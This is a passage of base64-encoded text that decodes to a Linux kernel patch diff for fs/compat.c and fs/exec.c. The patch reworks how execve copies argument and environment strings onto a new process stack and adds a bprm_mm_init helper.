dmVfYXJnX3plcm8oYnBybSk7CisJcmV0dmFsID0gcmVtb3ZlX2FyZ196ZXJvKGJwcm0pOworCWlm
IChyZXR2YWwpCisJCXJldHVybiByZXR2YWw7CiAJcmV0dmFsID0gY29weV9zdHJpbmdzX2tlcm5l
bCgxLCAmYnBybS0+aW50ZXJwLCBicHJtKTsKIAlpZiAocmV0dmFsIDwgMCkgcmV0dXJuIHJldHZh
bDsgCiAJYnBybS0+YXJnYysrOwpkaWZmIC0tZ2l0IGEvZnMvY29tcGF0LmMgYi9mcy9jb21wYXQu
YwppbmRleCA1MDYyNGQ0Li4zNTk4MzZiIDEwMDY0NAotLS0gYS9mcy9jb21wYXQuYworKysgYi9m
cy9jb21wYXQuYwpAQCAtMTM4NSw2ICsxMzg1LDcgQEAgc3RhdGljIGludCBjb21wYXRfY29weV9z
dHJpbmdzKGludCBhcmdjLAogewogCXN0cnVjdCBwYWdlICprbWFwcGVkX3BhZ2UgPSBOVUxMOwog
CWNoYXIgKmthZGRyID0gTlVMTDsKKwl1bnNpZ25lZCBsb25nIGtwb3MgPSAwOwogCWludCByZXQ7
CiAKIAl3aGlsZSAoYXJnYy0tID4gMCkgewpAQCAtMTM5Myw5MiArMTM5NCw3MiBAQCBzdGF0aWMg
aW50IGNvbXBhdF9jb3B5X3N0cmluZ3MoaW50IGFyZ2MsCiAJCXVuc2lnbmVkIGxvbmcgcG9zOwog
CiAJCWlmIChnZXRfdXNlcihzdHIsIGFyZ3YrYXJnYykgfHwKLQkJCSEobGVuID0gc3Rybmxlbl91
c2VyKGNvbXBhdF9wdHIoc3RyKSwgYnBybS0+cCkpKSB7CisJCSAgICAhKGxlbiA9IHN0cm5sZW5f
dXNlcihjb21wYXRfcHRyKHN0ciksIE1BWF9BUkdfU1RSTEVOKSkpIHsKIAkJCXJldCA9IC1FRkFV
TFQ7CiAJCQlnb3RvIG91dDsKIAkJfQogCi0JCWlmIChicHJtLT5wIDwgbGVuKSAgeworCQlpZiAo
TUFYX0FSR19TVFJMRU4gPCBsZW4pIHsKIAkJCXJldCA9IC1FMkJJRzsKIAkJCWdvdG8gb3V0Owog
CQl9CiAKLQkJYnBybS0+cCAtPSBsZW47Ci0JCS8qIFhYWDogYWRkIGFyY2hpdGVjdHVyZSBzcGVj
aWZpYyBvdmVyZmxvdyBjaGVjayBoZXJlLiAqLworCQkvKiBXZSdyZSBnb2luZyB0byB3b3JrIG91
ciB3YXkgYmFja3dvcmRzLiAqLwogCQlwb3MgPSBicHJtLT5wOworCQlzdHIgKz0gbGVuOworCQli
cHJtLT5wIC09IGxlbjsKIAogCQl3aGlsZSAobGVuID4gMCkgewotCQkJaW50IGksIG5ldywgZXJy
OwogCQkJaW50IG9mZnNldCwgYnl0ZXNfdG9fY29weTsKLQkJCXN0cnVjdCBwYWdlICpwYWdlOwog
CiAJCQlvZmZzZXQgPSBwb3MgJSBQQUdFX1NJWkU7Ci0JCQlpID0gcG9zL1BBR0VfU0laRTsKLQkJ
CXBhZ2UgPSBicHJtLT5wYWdlW2ldOwotCQkJbmV3ID0gMDsKLQkJCWlmICghcGFnZSkgewotCQkJ
CXBhZ2UgPSBhbGxvY19wYWdlKEdGUF9ISUdIVVNFUik7Ci0JCQkJYnBybS0+cGFnZVtpXSA9IHBh
Z2U7Ci0JCQkJaWYgKCFwYWdlKSB7Ci0JCQkJCXJldCA9IC1FTk9NRU07CisJCQlpZiAob2Zmc2V0
ID09IDApCisJCQkJb2Zmc2V0ID0gUEFHRV9TSVpFOworCisJCQlieXRlc190b19jb3B5ID0gb2Zm
c2V0OworCQkJaWYgKGJ5dGVzX3RvX2NvcHkgPiBsZW4pCisJCQkJYnl0ZXNfdG9fY29weSA9IGxl
bjsKKworCQkJb2Zmc2V0IC09IGJ5dGVzX3RvX2NvcHk7CisJCQlwb3MgLT0gYnl0ZXNfdG9fY29w
eTsKKwkJCXN0ciAtPSBieXRlc190b19jb3B5OworCQkJbGVuIC09IGJ5dGVzX3RvX2NvcHk7CisK
KwkJCWlmICgha21hcHBlZF9wYWdlIHx8IGtwb3MgIT0gKHBvcyAmIFBBR0VfTUFTSykpIHsKKwkJ
CQlzdHJ1Y3QgcGFnZSAqcGFnZTsKKworCQkJCXJldCA9IGdldF91c2VyX3BhZ2VzKGN1cnJlbnQs
IGJwcm0tPm1tLCBwb3MsCisJCQkJCQkgICAgIDEsIDEsIDEsICZwYWdlLCBOVUxMKTsKKwkJCQlp
ZiAocmV0IDw9IDApIHsKKwkJCQkJLyogV2UndmUgZXhjZWVkIHRoZSBzdGFjayBybGltaXQuICov
CisJCQkJCXJldCA9IC1FMkJJRzsKIAkJCQkJZ290byBvdXQ7CiAJCQkJfQotCQkJCW5ldyA9IDE7
Ci0JCQl9CiAKLQkJCWlmIChwYWdlICE9IGttYXBwZWRfcGFnZSkgewotCQkJCWlmIChrbWFwcGVk
X3BhZ2UpCisJCQkJaWYgKGttYXBwZWRfcGFnZSkgewogCQkJCQlrdW5tYXAoa21hcHBlZF9wYWdl
KTsKKwkJCQkJcHV0X3BhZ2Uoa21hcHBlZF9wYWdlKTsKKwkJCQl9CiAJCQkJa21hcHBlZF9wYWdl
ID0gcGFnZTsKIAkJCQlrYWRkciA9IGttYXAoa21hcHBlZF9wYWdlKTsKKwkJCQlrcG9zID0gcG9z
ICYgUEFHRV9NQVNLOwogCQkJfQotCQkJaWYgKG5ldyAmJiBvZmZzZXQpCi0JCQkJbWVtc2V0KGth
ZGRyLCAwLCBvZmZzZXQpOwotCQkJYnl0ZXNfdG9fY29weSA9IFBBR0VfU0laRSAtIG9mZnNldDsK
LQkJCWlmIChieXRlc190b19jb3B5ID4gbGVuKSB7Ci0JCQkJYnl0ZXNfdG9fY29weSA9IGxlbjsK
LQkJCQlpZiAobmV3KQotCQkJCQltZW1zZXQoa2FkZHIrb2Zmc2V0K2xlbiwgMCwKLQkJCQkJCVBB
R0VfU0laRS1vZmZzZXQtbGVuKTsKLQkJCX0KLQkJCWVyciA9IGNvcHlfZnJvbV91c2VyKGthZGRy
K29mZnNldCwgY29tcGF0X3B0cihzdHIpLAotCQkJCQkJYnl0ZXNfdG9fY29weSk7Ci0JCQlpZiAo
ZXJyKSB7CisJCQlpZiAoY29weV9mcm9tX3VzZXIoa2FkZHIrb2Zmc2V0LCBjb21wYXRfcHRyKHN0
ciksCisJCQkJCQlieXRlc190b19jb3B5KSkgewogCQkJCXJldCA9IC1FRkFVTFQ7CiAJCQkJZ290
byBvdXQ7CiAJCQl9Ci0KLQkJCXBvcyArPSBieXRlc190b19jb3B5OwotCQkJc3RyICs9IGJ5dGVz
X3RvX2NvcHk7Ci0JCQlsZW4gLT0gYnl0ZXNfdG9fY29weTsKIAkJfQogCX0KIAlyZXQgPSAwOwog
b3V0OgotCWlmIChrbWFwcGVkX3BhZ2UpCisJaWYgKGttYXBwZWRfcGFnZSkgewogCQlrdW5tYXAo
a21hcHBlZF9wYWdlKTsKLQlyZXR1cm4gcmV0OwotfQotCi0jaWZkZWYgQ09ORklHX01NVQotCi0j
ZGVmaW5lIGZyZWVfYXJnX3BhZ2VzKGJwcm0pIGRvIHsgfSB3aGlsZSAoMCkKLQotI2Vsc2UKLQot
c3RhdGljIGlubGluZSB2b2lkIGZyZWVfYXJnX3BhZ2VzKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJw
cm0pCi17Ci0JaW50IGk7Ci0KLQlmb3IgKGkgPSAwOyBpIDwgTUFYX0FSR19QQUdFUzsgaSsrKSB7
Ci0JCWlmIChicHJtLT5wYWdlW2ldKQotCQkJX19mcmVlX3BhZ2UoYnBybS0+cGFnZVtpXSk7Ci0J
CWJwcm0tPnBhZ2VbaV0gPSBOVUxMOworCQlwdXRfcGFnZShrbWFwcGVkX3BhZ2UpOwogCX0KKwly
ZXR1cm4gcmV0OwogfQogCi0jZW5kaWYgLyogQ09ORklHX01NVSAqLwotCiAvKgogICogY29tcGF0
X2RvX2V4ZWN2ZSgpIGlzIG1vc3RseSBhIGNvcHkgb2YgZG9fZXhlY3ZlKCksIHdpdGggdGhlIGV4
Y2VwdGlvbgogICogdGhhdCBpdCBwcm9jZXNzZXMgMzIgYml0IGFyZ3YgYW5kIGVudnAgcG9pbnRl
cnMuCkBAIC0xNDkxLDcgKzE0NzIsNiBAQCBpbnQgY29tcGF0X2RvX2V4ZWN2ZShjaGFyICogZmls
ZW5hbWUsCiAJc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybTsKIAlzdHJ1Y3QgZmlsZSAqZmlsZTsK
IAlpbnQgcmV0dmFsOwotCWludCBpOwogCiAJcmV0dmFsID0gLUVOT01FTTsKIAlicHJtID0ga3ph
bGxvYyhzaXplb2YoKmJwcm0pLCBHRlBfS0VSTkVMKTsKQEAgLTE1MDUsMjQgKzE0ODUsMTkgQEAg
aW50IGNvbXBhdF9kb19leGVjdmUoY2hhciAqIGZpbGVuYW1lLAogCiAJc2NoZWRfZXhlYygpOwog
Ci0JYnBybS0+cCA9IFBBR0VfU0laRSpNQVhfQVJHX1BBR0VTLXNpemVvZih2b2lkICopOwogCWJw
cm0tPmZpbGUgPSBmaWxlOwogCWJwcm0tPmZpbGVuYW1lID0gZmlsZW5hbWU7CiAJYnBybS0+aW50
ZXJwID0gZmlsZW5hbWU7Ci0JYnBybS0+bW0gPSBtbV9hbGxvYygpOwotCXJldHZhbCA9IC1FTk9N
RU07Ci0JaWYgKCFicHJtLT5tbSkKLQkJZ290byBvdXRfZmlsZTsKIAotCXJldHZhbCA9IGluaXRf
bmV3X2NvbnRleHQoY3VycmVudCwgYnBybS0+bW0pOwotCWlmIChyZXR2YWwgPCAwKQotCQlnb3Rv
IG91dF9tbTsKKwlyZXR2YWwgPSBicHJtX21tX2luaXQoYnBybSk7CisJaWYgKHJldHZhbCkKKwkJ
Z290byBvdXRfZmlsZTsKIAotCWJwcm0tPmFyZ2MgPSBjb21wYXRfY291bnQoYXJndiwgYnBybS0+
cCAvIHNpemVvZihjb21wYXRfdXB0cl90KSk7CisJYnBybS0+YXJnYyA9IGNvbXBhdF9jb3VudChh
cmd2LCBNQVhfQVJHX1NUUklOR1MpOwogCWlmICgocmV0dmFsID0gYnBybS0+YXJnYykgPCAwKQog
CQlnb3RvIG91dF9tbTsKIAotCWJwcm0tPmVudmMgPSBjb21wYXRfY291bnQoZW52cCwgYnBybS0+
cCAvIHNpemVvZihjb21wYXRfdXB0cl90KSk7CisJYnBybS0+ZW52YyA9IGNvbXBhdF9jb3VudChl
bnZwLCBNQVhfQVJHX1NUUklOR1MpOwogCWlmICgocmV0dmFsID0gYnBybS0+ZW52YykgPCAwKQog
CQlnb3RvIG91dF9tbTsKIApAQCAtMTU0NywxMCArMTUyMiw4IEBAIGludCBjb21wYXRfZG9fZXhl
Y3ZlKGNoYXIgKiBmaWxlbmFtZSwKIAlpZiAocmV0dmFsIDwgMCkKIAkJZ290byBvdXQ7CiAKLQly
ZXR2YWwgPSBzZWFyY2hfYmluYXJ5X2hhbmRsZXIoYnBybSwgcmVncyk7CisJcmV0dmFsID0gc2Vh
cmNoX2JpbmFyeV9oYW5kbGVyKGJwcm0scmVncyk7CiAJaWYgKHJldHZhbCA+PSAwKSB7Ci0JCWZy
ZWVfYXJnX3BhZ2VzKGJwcm0pOwotCiAJCS8qIGV4ZWN2ZSBzdWNjZXNzICovCiAJCXNlY3VyaXR5
X2Jwcm1fZnJlZShicHJtKTsKIAkJYWNjdF91cGRhdGVfaW50ZWdyYWxzKGN1cnJlbnQpOwpAQCAt
MTU1OSwxOSArMTUzMiwxMiBAQCBpbnQgY29tcGF0X2RvX2V4ZWN2ZShjaGFyICogZmlsZW5hbWUs
CiAJfQogCiBvdXQ6Ci0JLyogU29tZXRoaW5nIHdlbnQgd3JvbmcsIHJldHVybiB0aGUgaW5vZGUg
YW5kIGZyZWUgdGhlIGFyZ3VtZW50IHBhZ2VzKi8KLQlmb3IgKGkgPSAwIDsgaSA8IE1BWF9BUkdf
UEFHRVMgOyBpKyspIHsKLQkJc3RydWN0IHBhZ2UgKiBwYWdlID0gYnBybS0+cGFnZVtpXTsKLQkJ
aWYgKHBhZ2UpCi0JCQlfX2ZyZWVfcGFnZShwYWdlKTsKLQl9Ci0KIAlpZiAoYnBybS0+c2VjdXJp
dHkpCiAJCXNlY3VyaXR5X2Jwcm1fZnJlZShicHJtKTsKIAogb3V0X21tOgogCWlmIChicHJtLT5t
bSkKLQkJbW1kcm9wKGJwcm0tPm1tKTsKKwkJbW1wdXQgKGJwcm0tPm1tKTsKIAogb3V0X2ZpbGU6
CiAJaWYgKGJwcm0tPmZpbGUpIHsKZGlmZiAtLWdpdCBhL2ZzL2V4ZWMuYyBiL2ZzL2V4ZWMuYwpp
bmRleCBkOTkzZWExLi4zNzM5YzI2IDEwMDY0NAotLS0gYS9mcy9leGVjLmMKKysrIGIvZnMvZXhl
Yy5jCkBAIC0xNzIsNiArMTcyLDc5IEBAIGV4aXQ6CiAJZ290byBvdXQ7CiB9CiAKKyNpZmRlZiBD
T05GSUdfU1RBQ0tfR1JPV1NVUAorI2Vycm9yCUkgYnJva2UgeW91ciBidWlsZCBiZWNhdXNlIEkg
cmVhcmNoaXRlY3RlZCB0aGUgc3RhY2sgY29kZSwgYW5kIEkgXAorCWRvbid0IGhhdmUgYWNjZXNz
IHRvIGFuIGFyY2hpdGVjdHVyZSB3aGVyZSBDT05GSUdfU1RBQ0tfR1JPV1NVUCBpcyBcCisJc2V0
LiAgUGxlYXNlIGZpeGUgdGhpcyBvciBzZW5kIG1lIGEgbWFjaGluZSB3aGljaCBJIGNhbiB0ZXN0
IHRoaXMgb24uIFwKKwlcCisJLS0gT2xsaWUgV2lsZCA8YWF3QGdvb2dsZS5jb20+CisjZW5kaWYK
KworLyogQ3JlYXRlIGEgbmV3IG1tX3N0cnVjdCBhbmQgcG9wdWxhdGUgaXQgd2l0aCBhIHRlbXBv
cmFyeSBzdGFjaworICogdm1fYXJlYV9zdHJ1Y3QuICBXZSBkb24ndCBoYXZlIGVub3VnaCBjb250
ZXh0IGF0IHRoaXMgcG9pbnQgdG8gc2V0IHRoZQorICogc3RhY2sgZmxhZ3MsIHBlcm1pc3Npb25z
LCBhbmQgb2Zmc2V0LCBzbyB3ZSB1c2UgdGVtcG9yYXJ5IHZhbHVlcy4gIFdlJ2xsCisgKiB1cGRh
dGUgdGhlbSBsYXRlciBpbiBzZXR1cF9hcmdfcGFnZXMoKS4gKi8KK2ludCBicHJtX21tX2luaXQo
c3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkKK3sKKwlpbnQgZXJyOworCXN0cnVjdCBtbV9zdHJ1
Y3QgKm1tID0gTlVMTDsKKwlzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSA9IE5VTEw7CisKKwli
cHJtLT5tbSA9IG1tID0gbW1fYWxsb2MoKTsKKwllcnIgPSAtRU5PTUVNOworCWlmICghbW0pCisJ
CWdvdG8gZXJyOworCisJaWYgKChlcnIgPSBpbml0X25ld19jb250ZXh0KGN1cnJlbnQsIG1tKSkp
CisJCWdvdG8gZXJyOworCisJYnBybS0+dm1hID0gdm1hID0ga21lbV9jYWNoZV96YWxsb2Modm1f
YXJlYV9jYWNoZXAsIFNMQUJfS0VSTkVMKTsKKwllcnIgPSAtRU5PTUVNOworCWlmICghdm1hKQor
CQlnb3RvIGVycjsKKworCWRvd25fd3JpdGUoJm1tLT5tbWFwX3NlbSk7CisJeworCQl2bWEtPnZt
X21tID0gbW07CisKKwkJLyogUGxhY2UgdGhlIHN0YWNrIGF0IHRoZSB0b3Agb2YgdXNlciBtZW1v
cnkuICBMYXRlciwgd2UnbGwKKwkJICogbW92ZSB0aGlzIHRvIGFuIGFwcHJvcHJpYXRlIHBsYWNl
LiAgV2UgZG9uJ3QgdXNlIFNUQUNLX1RPUAorCQkgKiBiZWNhdXNlIHRoYXQgY2FuIGRlcGVuZCBv
biBhdHRyaWJ1dGVzIHdoaWNoIGFyZW4ndAorCQkgKiBjb25maWd1cmVkIHlldC4gKi8KKwkJdm1h
LT52bV9lbmQgPSBUQVNLX1NJWkU7CisJCXZtYS0+dm1fc3RhcnQgPSB2bWEtPnZtX2VuZCAtIFBB
R0VfU0laRTsKKworCQl2bWEtPnZtX2ZsYWdzID0gVk1fU1RBQ0tfRkxBR1M7CisJCXZtYS0+dm1f
cGFnZV9wcm90ID0gcHJvdGVjdGlvbl9tYXBbdm1hLT52bV9mbGFncyAmIDB4N107CisJCWlmICgo
ZXJyID0gaW5zZXJ0X3ZtX3N0cnVjdChtbSwgdm1hKSkpIHsKKwkJCXVwX3dyaXRlKCZtbS0+bW1h
cF9zZW0pOworCQkJZ290byBlcnI7CisJCX0KKworCQltbS0+c3RhY2tfdm0gPSBtbS0+dG90YWxf
dm0gPSAxOworCX0KKwl1cF93cml0ZSgmbW0tPm1tYXBfc2VtKTsKKworCWJwcm0tPnAgPSB2bWEt
PnZtX2VuZCAtIHNpemVvZih2b2lkICopOworCisJcmV0dXJuIDA7CisKK2VycjoKKwlpZiAodm1h
KSB7CisJCWJwcm0tPnZtYSA9IE5VTEw7CisJCWttZW1fY2FjaGVfZnJlZSh2bV9hcmVhX2NhY2hl
cCwgdm1hKTsKKwl9CisKKwlpZiAobW0pIHsKKwkJYnBybS0+bW0gPSBOVUxMOworCQltbWRyb3Ao
bW0pOworCX0KKworCXJldHVybiBlcnI7Cit9CisKK0VYUE9SVF9TWU1CT0woYnBybV9tbV9pbml0
KTsKKwogLyoKICAqIGNvdW50KCkgY291bnRzIHRoZSBudW1iZXIgb2Ygc3RyaW5ncyBpbiBhcnJh
eSBBUkdWLgogICovCkBAIC0xOTcsMTUgKzI3MCwxNiBAQCBzdGF0aWMgaW50IGNvdW50KGNoYXIg
X191c2VyICogX191c2VyICogCiB9CiAKIC8qCi0gKiAnY29weV9zdHJpbmdzKCknIGNvcGllcyBh
cmd1bWVudC9lbnZpcm9ubWVudCBzdHJpbmdzIGZyb20gdXNlcgotICogbWVtb3J5IHRvIGZyZWUg
cGFnZXMgaW4ga2VybmVsIG1lbS4gVGhlc2UgYXJlIGluIGEgZm9ybWF0IHJlYWR5Ci0gKiB0byBi
ZSBwdXQgZGlyZWN0bHkgaW50byB0aGUgdG9wIG9mIG5ldyB1c2VyIG1lbW9yeS4KKyAqICdjb3B5
X3N0cmluZ3MoKScgY29waWVzIGFyZ3VtZW50L2Vudmlyb25tZW50IHN0cmluZ3MgZnJvbSB0aGUg
b2xkCisgKiBwcm9jZXNzZXMncyBtZW1vcnkgdG8gdGhlIG5ldyBwcm9jZXNzJ3Mgc3RhY2suICBU
aGUgY2FsbCB0byBnZXRfdXNlcl9wYWdlcygpCisgKiBlbnN1cmVzIHRoZSBkZXN0aW5hdGlvbiBw
YWdlIGlzIGNyZWF0ZWQgYW5kIG5vdCBzd2FwcGVkIG91dC4KICAqLwogc3RhdGljIGludCBjb3B5
X3N0cmluZ3MoaW50IGFyZ2MsIGNoYXIgX191c2VyICogX191c2VyICogYXJndiwKIAkJCXN0cnVj
dCBsaW51eF9iaW5wcm0gKmJwcm0pCiB7CiAJc3RydWN0IHBhZ2UgKmttYXBwZWRfcGFnZSA9IE5V
TEw7CiAJY2hhciAqa2FkZHIgPSBOVUxMOworCXVuc2lnbmVkIGxvbmcga3BvcyA9IDA7CiAJaW50
IHJldDsKIAogCXdoaWxlIChhcmdjLS0gPiAwKSB7CkBAIC0yMTQsNjkgKzI4OCw2OCBAQCBzdGF0
aWMgaW50IGNvcHlfc3RyaW5ncyhpbnQgYXJnYywgY2hhciBfCiAJCXVuc2lnbmVkIGxvbmcgcG9z
OwogCiAJCWlmIChnZXRfdXNlcihzdHIsIGFyZ3YrYXJnYykgfHwKLQkJCQkhKGxlbiA9IHN0cm5s
ZW5fdXNlcihzdHIsIGJwcm0tPnApKSkgeworCQkJCSEobGVuID0gc3Rybmxlbl91c2VyKHN0ciwg
TUFYX0FSR19TVFJMRU4pKSkgewogCQkJcmV0ID0gLUVGQVVMVDsKIAkJCWdvdG8gb3V0OwogCQl9
CiAKLQkJaWYgKGJwcm0tPnAgPCBsZW4pICB7CisJCWlmIChNQVhfQVJHX1NUUkxFTiA8IGxlbikg
ewogCQkJcmV0ID0gLUUyQklHOwogCQkJZ290byBvdXQ7CiAJCX0KIAotCQlicHJtLT5wIC09IGxl
bjsKLQkJLyogWFhYOiBhZGQgYXJjaGl0ZWN0dXJlIHNwZWNpZmljIG92ZXJmbG93IGNoZWNrIGhl
cmUuICovCisJCS8qIFdlJ3JlIGdvaW5nIHRvIHdvcmsgb3VyIHdheSBiYWNrd29yZHMuICovCiAJ
CXBvcyA9IGJwcm0tPnA7CisJCXN0ciArPSBsZW47CisJCWJwcm0tPnAgLT0gbGVuOwogCiAJCXdo
aWxlIChsZW4gPiAwKSB7Ci0JCQlpbnQgaSwgbmV3LCBlcnI7CiAJCQlpbnQgb2Zmc2V0LCBieXRl
c190b19jb3B5OwotCQkJc3RydWN0IHBhZ2UgKnBhZ2U7CiAKIAkJCW9mZnNldCA9IHBvcyAlIFBB
R0VfU0laRTsKLQkJCWkgPSBwb3MvUEFHRV9TSVpFOwotCQkJcGFnZSA9IGJwcm0tPnBhZ2VbaV07
Ci0JCQluZXcgPSAwOwotCQkJaWYgKCFwYWdlKSB7Ci0JCQkJcGFnZSA9IGFsbG9jX3BhZ2UoR0ZQ
X0hJR0hVU0VSKTsKLQkJCQlicHJtLT5wYWdlW2ldID0gcGFnZTsKLQkJCQlpZiAoIXBhZ2UpIHsK
LQkJCQkJcmV0ID0gLUVOT01FTTsKKwkJCWlmIChvZmZzZXQgPT0gMCkKKwkJCQlvZmZzZXQgPSBQ
QUdFX1NJWkU7CisKKwkJCWJ5dGVzX3RvX2NvcHkgPSBvZmZzZXQ7CisJCQlpZiAoYnl0ZXNfdG9f
Y29weSA+IGxlbikKKwkJCQlieXRlc190b19jb3B5ID0gbGVuOworCisJCQlvZmZzZXQgLT0gYnl0
ZXNfdG9fY29weTsKKwkJCXBvcyAtPSBieXRlc190b19jb3B5OworCQkJc3RyIC09IGJ5dGVzX3Rv
X2NvcHk7CisJCQlsZW4gLT0gYnl0ZXNfdG9fY29weTsKKworCQkJaWYgKCFrbWFwcGVkX3BhZ2Ug
fHwga3BvcyAhPSAocG9zICYgUEFHRV9NQVNLKSkgeworCQkJCXN0cnVjdCBwYWdlICpwYWdlOwor
CisJCQkJcmV0ID0gZ2V0X3VzZXJfcGFnZXMoY3VycmVudCwgYnBybS0+bW0sIHBvcywKKwkJCQkJ
CSAgICAgMSwgMSwgMSwgJnBhZ2UsIE5VTEwpOworCQkJCWlmIChyZXQgPD0gMCkgeworCQkJCQkv
KiBXZSd2ZSBleGNlZWQgdGhlIHN0YWNrIHJsaW1pdC4gKi8KKwkJCQkJcmV0ID0gLUUyQklHOwog
CQkJCQlnb3RvIG91dDsKIAkJCQl9Ci0JCQkJbmV3ID0gMTsKLQkJCX0KIAotCQkJaWYgKHBhZ2Ug
IT0ga21hcHBlZF9wYWdlKSB7Ci0JCQkJaWYgKGttYXBwZWRfcGFnZSkKKwkJCQlpZiAoa21hcHBl
ZF9wYWdlKSB7CiAJCQkJCWt1bm1hcChrbWFwcGVkX3BhZ2UpOworCQkJCQlwdXRfcGFnZShrbWFw
cGVkX3BhZ2UpOworCQkJCX0KIAkJCQlrbWFwcGVkX3BhZ2UgPSBwYWdlOwogCQkJCWthZGRyID0g
a21hcChrbWFwcGVkX3BhZ2UpOworCQkJCWtwb3MgPSBwb3MgJiBQQUdFX01BU0s7CiAJCQl9Ci0J
CQlpZiAobmV3ICYmIG9mZnNldCkKLQkJCQltZW1zZXQoa2FkZHIsIDAsIG9mZnNldCk7Ci0JCQli
eXRlc190b19jb3B5ID0gUEFHRV9TSVpFIC0gb2Zmc2V0OwotCQkJaWYgKGJ5dGVzX3RvX2NvcHkg
PiBsZW4pIHsKLQkJCQlieXRlc190b19jb3B5ID0gbGVuOwotCQkJCWlmIChuZXcpCi0JCQkJCW1l
bXNldChrYWRkcitvZmZzZXQrbGVuLCAwLAotCQkJCQkJUEFHRV9TSVpFLW9mZnNldC1sZW4pOwot
CQkJfQotCQkJZXJyID0gY29weV9mcm9tX3VzZXIoa2FkZHIrb2Zmc2V0LCBzdHIsIGJ5dGVzX3Rv
X2NvcHkpOwotCQkJaWYgKGVycikgeworCQkJaWYgKGNvcHlfZnJvbV91c2VyKGthZGRyK29mZnNl
dCwgc3RyLCBieXRlc190b19jb3B5KSkgewogCQkJCXJldCA9IC1FRkFVTFQ7CiAJCQkJZ290byBv
dXQ7CiAJCQl9Ci0KLQkJCXBvcyArPSBieXRlc190b19jb3B5OwotCQkJc3RyICs9IGJ5dGVzX3Rv
X2NvcHk7Ci0JCQlsZW4gLT0gYnl0ZXNfdG9fY29weTsKIAkJfQogCX0KIAlyZXQgPSAwOwogb3V0
OgotCWlmIChrbWFwcGVkX3BhZ2UpCisJaWYgKGttYXBwZWRfcGFnZSkgewogCQlrdW5tYXAoa21h
cHBlZF9wYWdlKTsKKwkJcHV0X3BhZ2Uoa21hcHBlZF9wYWdlKTsKKwl9CiAJcmV0dXJuIHJldDsK
IH0KIApAQCAtMjk1LDE1NyArMzY4LDc5IEBAIGludCBjb3B5X3N0cmluZ3Nfa2VybmVsKGludCBh
cmdjLGNoYXIgKioKIAogRVhQT1JUX1NZTUJPTChjb3B5X3N0cmluZ3Nfa2VybmVsKTsKIAotI2lm
ZGVmIENPTkZJR19NTVUKLS8qCi0gKiBUaGlzIHJvdXRpbmUgaXMgdXNlZCB0byBtYXAgaW4gYSBw
YWdlIGludG8gYW4gYWRkcmVzcyBzcGFjZTogbmVlZGVkIGJ5Ci0gKiBleGVjdmUoKSBmb3IgdGhl
IGluaXRpYWwgc3RhY2sgYW5kIGVudmlyb25tZW50IHBhZ2VzLgotICoKLSAqIHZtYS0+dm1fbW0t
Pm1tYXBfc2VtIGlzIGhlbGQgZm9yIHdyaXRpbmcuCi0gKi8KLXZvaWQgaW5zdGFsbF9hcmdfcGFn
ZShzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwKLQkJCXN0cnVjdCBwYWdlICpwYWdlLCB1bnNp
Z25lZCBsb25nIGFkZHJlc3MpCi17Ci0Jc3RydWN0IG1tX3N0cnVjdCAqbW0gPSB2bWEtPnZtX21t
OwotCXB0ZV90ICogcHRlOwotCXNwaW5sb2NrX3QgKnB0bDsKLQotCWlmICh1bmxpa2VseShhbm9u
X3ZtYV9wcmVwYXJlKHZtYSkpKQotCQlnb3RvIG91dDsKLQotCWZsdXNoX2RjYWNoZV9wYWdlKHBh
Z2UpOwotCXB0ZSA9IGdldF9sb2NrZWRfcHRlKG1tLCBhZGRyZXNzLCAmcHRsKTsKLQlpZiAoIXB0
ZSkKLQkJZ290byBvdXQ7Ci0JaWYgKCFwdGVfbm9uZSgqcHRlKSkgewotCQlwdGVfdW5tYXBfdW5s
b2NrKHB0ZSwgcHRsKTsKLQkJZ290byBvdXQ7Ci0JfQotCWluY19tbV9jb3VudGVyKG1tLCBhbm9u
X3Jzcyk7Ci0JbHJ1X2NhY2hlX2FkZF9hY3RpdmUocGFnZSk7Ci0Jc2V0X3B0ZV9hdChtbSwgYWRk
cmVzcywgcHRlLCBwdGVfbWtkaXJ0eShwdGVfbWt3cml0ZShta19wdGUoCi0JCQkJCXBhZ2UsIHZt
YS0+dm1fcGFnZV9wcm90KSkpKTsKLQlwYWdlX2FkZF9uZXdfYW5vbl9ybWFwKHBhZ2UsIHZtYSwg
YWRkcmVzcyk7Ci0JcHRlX3VubWFwX3VubG9jayhwdGUsIHB0bCk7Ci0KLQkvKiBubyBuZWVkIGZv
ciBmbHVzaF90bGIgKi8KLQlyZXR1cm47Ci1vdXQ6Ci0JX19mcmVlX3BhZ2UocGFnZSk7Ci0JZm9y
Y2Vfc2lnKFNJR0tJTEwsIGN1cnJlbnQpOwotfQotCiAjZGVmaW5lIEVYVFJBX1NUQUNLX1ZNX1BB
R0VTCTIwCS8qIHJhbmRvbSAqLwogCisvKiBGaW5hbGl6ZXMgdGhlIHN0YWNrIHZtX2FyZWFfc3Ry
dWN0LiAgVGhlIGZsYWdzIGFuZCBwZXJtaXNzaW9ucyBhcmUgdXBkYXRlZCwKKyAqIHRoZSBzdGFj
ayBpcyBvcHRpb25hbGx5IHJlbG9jYXRlZCwgYW5kIHNvbWUgZXh0cmEgc3BhY2UgaXMgYWRkZWQu
CisgKi8KIGludCBzZXR1cF9hcmdfcGFnZXMoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSwKIAkJ
ICAgIHVuc2lnbmVkIGxvbmcgc3RhY2tfdG9wLAogCQkgICAgaW50IGV4ZWN1dGFibGVfc3RhY2sp
CiB7Ci0JdW5zaWduZWQgbG9uZyBzdGFja19iYXNlOwotCXN0cnVjdCB2bV9hcmVhX3N0cnVjdCAq
bXBudDsKKwl1bnNpZ25lZCBsb25nIHJldDsKKwl1bnNpZ25lZCBsb25nIHN0YWNrX2Jhc2UsIHN0
YWNrX3NoaWZ0OwogCXN0cnVjdCBtbV9zdHJ1Y3QgKm1tID0gY3VycmVudC0+bW07Ci0JaW50IGks
IHJldDsKLQlsb25nIGFyZ19zaXplOwogCi0jaWZkZWYgQ09ORklHX1NUQUNLX0dST1dTVVAKLQkv
KiBNb3ZlIHRoZSBhcmd1bWVudCBhbmQgZW52aXJvbm1lbnQgc3RyaW5ncyB0byB0aGUgYm90dG9t
IG9mIHRoZQotCSAqIHN0YWNrIHNwYWNlLgotCSAqLwotCWludCBvZmZzZXQsIGo7Ci0JY2hhciAq
